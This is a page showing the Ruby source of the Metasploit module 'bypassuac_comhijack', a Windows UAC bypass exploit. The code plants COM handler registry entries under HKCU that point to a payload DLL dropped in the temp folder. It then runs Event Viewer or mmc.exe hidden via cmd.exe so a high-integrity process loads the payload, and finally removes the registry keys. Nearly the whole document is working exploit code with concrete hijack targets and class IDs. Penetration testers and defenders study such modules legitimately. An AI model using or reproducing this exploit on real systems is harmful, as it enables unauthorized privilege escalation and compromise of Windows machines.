CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_comhijack.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Post::Windows::Priv
11
include Post::Windows::Registry
12
include Post::Windows::Runas
13
include Post::Windows::Version
14
include Exploit::FileDropper
15
16
CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze
17
DEFAULT_VAL_NAME = ''.freeze # This maps to "(Default)"
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)',
24
'Description' => %q{
25
This module will bypass Windows UAC by creating COM handler registry entries in the
26
HKCU hive. When certain high integrity processes are loaded, these registry entries
27
are referenced resulting in the process loading user-controlled DLLs. These DLLs
28
contain the payloads that result in elevated sessions. Registry key modifications
29
are cleaned up after payload invocation.
30
31
This module requires the architecture of the payload to match the OS, but the
32
current low-privilege Meterpreter session architecture can be different. If
33
specifying EXE::Custom your DLL should call ExitProcess() after starting your
34
payload in a separate process.
35
36
This module invokes the target binary via cmd.exe on the target. Therefore if
37
cmd.exe access is restricted, this module will not run correctly.
38
},
39
'License' => MSF_LICENSE,
40
'Author' => [
41
'Matt Nelson', # UAC bypass discovery and research
42
'b33f', # UAC bypass discovery and research
43
'OJ Reeves' # MSF module
44
],
45
'Platform' => ['win'],
46
'Arch' => [ ARCH_X86, ARCH_X64 ],
47
'SessionTypes' => ['meterpreter'],
48
'Targets' => [
49
['Automatic', {}]
50
],
51
'DefaultTarget' => 0,
52
'References' => [
53
['URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html'],
54
['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf']
55
],
56
'DisclosureDate' => '1900-01-01',
57
'Notes' => {
58
'Reliability' => [ REPEATABLE_SESSION ],
59
'Stability' => [ CRASH_SAFE ],
60
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
61
},
62
'Compat' => {
63
'Meterpreter' => {
64
'Commands' => %w[
65
stdapi_sys_process_execute
66
]
67
}
68
}
69
)
70
)
71
end
72
73
def check
74
version_info = get_version_info
75
vprint_status("System OS Detected: #{version_info.product_name}")
76
# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?
77
if version_info.build_number.between?(::Msf::WindowsVersion::Win7_SP0, ::Msf::WindowsVersion::Win10_1903)
78
return CheckCode::Appears
79
end
80
81
return CheckCode::Safe
82
end
83
84
def exploit
85
# Make sure we have a sane payload configuration
86
if sysinfo['Architecture'] != payload_instance.arch.first
87
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system")
88
end
89
90
registry_view = REGISTRY_VIEW_NATIVE
91
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
92
registry_view = REGISTRY_VIEW_64_BIT
93
end
94
95
# Validate that we can actually do things before we bother
96
# doing any more work
97
check_permissions!
98
99
case get_uac_level
100
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
101
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
102
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
103
fail_with(Failure::NotVulnerable,
104
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
105
when UAC_DEFAULT
106
print_good('UAC is set to Default')
107
print_good('BypassUAC can bypass this setting, continuing...')
108
when UAC_NO_PROMPT
109
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
110
shell_execute_exe
111
return
112
end
113
114
payload = generate_payload_dll({ dll_exitprocess: true })
115
commspec = expand_path('%COMSPEC%')
116
dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")
117
hijack = hijack_com(registry_view, dll_name)
118
119
unless hijack && hijack[:cmd_path]
120
fail_with(Failure::Unknown, 'Unable to hijack COM')
121
end
122
123
begin
124
print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...")
125
print_status("Uploading payload to #{dll_name} ...")
126
write_file(dll_name, payload)
127
register_file_for_cleanup(dll_name)
128
129
print_status("Executing high integrity process #{expand_path(hijack[:cmd_path])}")
130
args = "/c #{expand_path(hijack[:cmd_path])}"
131
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]
132
133
# Launch the application from cmd.exe instead of directly so that we can
134
# avoid the dreaded 740 error (elevation required)
135
client.sys.process.execute(commspec, args, { 'Hidden' => true })
136
137
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
138
Rex.sleep(5)
139
140
handler(client)
141
ensure
142
print_status('Cleaning up registry; this can take some time...')
143
registry_deletekey(hijack[:root_key], registry_view)
144
end
145
end
146
147
# TODO: Add more hijack points when they're known.
148
# TODO: when more class IDs are found for individual hijackpoints
149
# they can be added to the array of class IDs.
150
@@hijack_points = [
151
{
152
name: 'Event Viewer',
153
cmd_path: '%WINDIR%\System32\eventvwr.exe',
154
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
155
},
156
{
157
name: 'Computer Managment',
158
cmd_path: '%WINDIR%\System32\mmc.exe',
159
cmd_args: 'CompMgmt.msc',
160
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931']
161
}
162
]
163
164
#
165
# Perform the hijacking of COM class IDS. This function chooses a random
166
# application target and a random class id associated with it before
167
# modifying the registry.
168
#
169
def hijack_com(registry_view, dll_path)
170
target = @@hijack_points.sample
171
target_clsid = target[:class_ids].sample
172
root_key = "#{CLSID_PATH}\\{#{target_clsid}}"
173
inproc_key = "#{root_key}\\InProcServer32"
174
shell_key = "#{root_key}\\ShellFolder"
175
176
registry_createkey(root_key, registry_view)
177
registry_createkey(inproc_key, registry_view)
178
registry_createkey(shell_key, registry_view)
179
180
registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)
181
registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)
182
registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)
183
registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)
184
registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)
185
186
{
187
name: target[:name],
188
cmd_path: target[:cmd_path],
189
cmd_args: target[:cmd_args],
190
root_key: root_key
191
}
192
end
193
194
def check_permissions!
195
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
196
197
# Check if you are an admin
198
vprint_status('Checking admin status...')
199
admin_group = is_in_admin_group?
200
201
unless is_in_admin_group?
202
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
203
end
204
205
print_status('UAC is Enabled, checking level...')
206
if admin_group.nil?
207
print_error('Either whoami is not there or failed to execute')
208
print_error('Continuing under assumption you already checked...')
209
elsif admin_group
210
print_good('Part of Administrators group! Continuing...')
211
else
212
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
213
end
214
215
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
216
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
217
end
218
end
219
end
220
221